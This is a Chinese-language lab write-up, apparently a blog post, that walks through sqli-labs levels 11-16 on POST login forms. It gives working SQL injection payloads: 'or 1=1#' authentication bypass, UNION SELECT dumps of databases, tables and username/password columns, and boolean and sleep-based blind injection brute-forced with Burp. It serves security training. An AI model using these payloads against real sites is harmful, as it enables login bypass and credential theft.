• sqli-labs(11-16关)


    MySQL查询语句:

      查库:select schema_name from information_schema.schemata;

      查表:select table_name from information_schema.tables where table_schema='security';(以security表为例)

      查列:select column_name from information_schema.columns where table_name='users';

      查字段:select username,password from security.users;

    第十一关(Less-11):单引号注入

      1.首先输入用户名和密码均为admin进行登录,显示登录成功和相关的sql语句以及登录名和密码,如图所示

      2.打开Burp Loader进行抓包分析,打开代理,重新登录,进行抓包

      3.将uname、passwd和submit进行复制,粘贴到如图所示位置,然后执行

      4.执行之后,显示成功。

      5.将uname=admin&passwd=admin&submit=Submit修改为uname=admin'&passwd=admin&submit=Submit,再次执行,如图出现语法错误,说明存在注入漏洞

      6.将 uname=admin'&passwd=admin&submit=Submit更改为uname='&passwd=admin&submit=Submit,再次执行,如图还是存在错误,存在注入漏洞

      7. 将uname='&passwd=admin&submit=Submit更改为uname=admin' or 1=1#&passwd=admin&submit=Submit,登录成功,验证存在注入漏洞(#为注释符,不可用--+)

      8.输入uname=n'or 1=1#&passwd=admin&submit=Submit,执行显示成功,则构造出初始语法为这样儿

      9.使用order by猜解列数,输入uname=n'order by 3#&passwd=admin&submit=Submit,显示错误

      10.将3改为2,无错误,说明有两列

      11.使用联合查询语句union select,得出回显位置1和2

      12.爆破库,输入uname=n'union select 1,schema_name from information_schema.schemata limit 0,1#&passwd=admin&submit=Submit,得到数据库information_schema

      13.将limit0,1改为limit1,1即可得到第二个数据库,后面的以此类推

      14.输入uname=n'union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit,爆破出所有库

      15.以security库为例,爆破表、列、字段。输入uname=n'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit,爆破出security库中的所有表信息

      16.输入uname=n'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit,爆破出users表中的所有列信息

      17.输入uname=n'union select 1,group_concat(username) from security.users#&passwd=admin&submit=Submit,爆破出username字段的所有信息

      18.输入uname=n'union select 1,group_concat(concat_ws(0x7e,username,password)) from security.users#&passwd=admin&submit=Submit一次性爆破出username,password字段的信息

    第十二关(Less-12):双引号注入

      1.同Less-11相同的方法进行抓包,拿到数据

      2.将uname、passwd和submit进行复制,粘贴到如图所示位置,然后执行,登陆成功,显示用户名和密码

      3.查询其是否存在注入漏洞,输入uname=admin'or 1=1#&passwd=admin&submit=Submit,显示登录失败,但是无其他报错信息,存在注入漏洞

      4.将单引号更改为双引号,uname=admin" or 1=1#&passwd=admin&submit=Submit,登陆失败,出现报错信息

      5.输入uname=admin") or1=1#&passwd=admin&submit=Submit,登陆成功,说明构造的初始语法如此

      6.其余爆破库、表、列 、字段的操作均与Less-11相同

    第十三关(Less-13):

      1.输入username和password进行提交,返回信息表示登录成功

      2.像Less-11和Less-12一样抓包获取Post的内容uname=admin&passwd=admin&submit=Submit,执行,显示登陆成功

      3.将admin改为ain再次登录,显示登录失败

      4.将Post内容uname=ain&passwd=admin&submit=Submit修改为uname=ain' or 1=1#&passwd=admin&submit=Submit并使用or语句进行构造。提示失败并出现报错,说明存在注入漏洞。

      5.将构造的Post内容进行修改,改为uname=ain') or 1=1#&passwd=admin&submit=Submit,执行。返回成功登录。

      6.此时我们使用union select进行回显位置的查找,输入uname=ain') or union select 1,2#&passwd=admin&submit=Submit。返回结果为失败

      7.在这里我们使用盲注。使用if语句,进行逐步猜测数据库名称的长度。首先输入uname=ain') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit。立刻回显正常。说明此时数据库的长度大于1成立。将大于1改为大于10,则会休眠5s。

      8.我们当前的实验是以security库为例,此库的长度为8(已知)。输入uname=ain') or if(length(database())>=8,1,sleep(5))#&passwd=admin&submit=Submit。返回成功并且返回速度很快。故最终猜解到当前数据库字符长度为8。

      9.接下来判断当前数据库的第一个字母,使用left函数,与if函数的用法类似。输入uname=ain') or left(database(),1)>'a'#&passwd=admin&submit=Submit。判断当前数据库的首字母是否比a大,若大,则返回1。返回结果成功,说明首字母比a大。

      10.将database()进行替换,换为select schema_name from information_schema.schemata limit 0,1进行一位一位的查询。返回成功。则可以通过这样的方法查询出数据库中的所有信息,也可以通过这样的方法查询出表,列,字段信息。

      11.使用BurpLoader进行破解库、表、列、字段。使用大于a显示成功,小于或者等于a均为失败。

      12.打开代理,进行重新发送。抓包。将抓到的包发送至暴力破解模块。在暴力破解模块清楚当前的关键字。

      13.将a设置为关键字,添加美元符号。然后选择payloads,改为暴力破解模式,设置Payloads和Options(可以将线程设置为10)。然后开始暴力破解。

       

      14.根据长度判断第一位的字母。发现i字母的长度与其他长度不同,查看返回结果可知i时返回成功。故猜解到第一位是i

      15.进行第二位的猜解。与第一位的爆破猜解方法相同。

      16.发现n的长度与其他长度不同。返回数据中也出现成功的图片。故猜解第二位是n。其余位猜解方法相同。

    第十四关(Less-14):

      1.根据提示输入username和password,点击提交。返回成功,但没有回显信息。与Less-13对比可知,不同的地方是Less-13使用的是单引号,而Less-14使用的是双引号。

      2.与Less-13的方法相同进行抓包得到post数据uname=admin&passwd=admin&submit=Submit,登录会显示登录成功

      3.对语法进行构造。根据与Less-13的不同之处进行构造,得出uname=admin" or 1=1#&passwd=admin&submit=Submit,此时返回成功

      4.使用length语句进行长度的猜解(已知当前数据库的字符长度为8)。输入uname=admin" or length(database())='8'#&passwd=admin&submit=Submit.显示成功

      5.使用left函数进行首字母的猜解判断。uname=ain" or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=admin&submit=Submit。返回成功。

      6.改为等于a,返回失败。说明首字母大于a

      7.接下来跟Less-13的内容相同,可以使用left函数进行一个一个的猜解,也可以使用BurpLoader进行每一位的猜解。

    第十五关(Less-15):

      1.根据提示输入username和password,点击提交。显示登陆成功,但没有回显值。

      2.与Less-13和Less-14进行比较得出,Less-15是用单引号

      3.用与Less-13和Less-14相同的方法得到post数据,进行猜想构造,得出uname=admin&passwd=a' or 1=1#&submit=Submit。显示登陆成功

      4.接下来,采用与Less-13和Less-14相同的方法进行盲注猜解。此处省略,可参考Less-13和Less-14。

    第十六关(Less-16): 

      1.根据提示输入username和password。显示成功。

      2.与Less-13、Lss-14和Less-15操作相同。得到post内的数据。uname=admin&passwd=admin&submit=Submit。显示成功。

      3.Less-16与Less-13、Less-14和Less-15不同的是,使用双引号括号包裹数据。则同样采用布尔盲注进行猜解。与Less-13、Less-14和Less-15操作相同。

  • 相关阅读:
    idea的svn安装
    工作面板视图
    maven的profile
    web 对接 platform
    jdk动态代理在idea的debug模式下不断刷新tostring方法
    jdk动态代理
    springboot获得应用上下文
    数据库时间日期区别
    Java的date和string互转
    httpclient中文乱码
  • 原文地址:https://www.cnblogs.com/mxm0117/p/12283579.html
Copyright © 2020-2023  润新知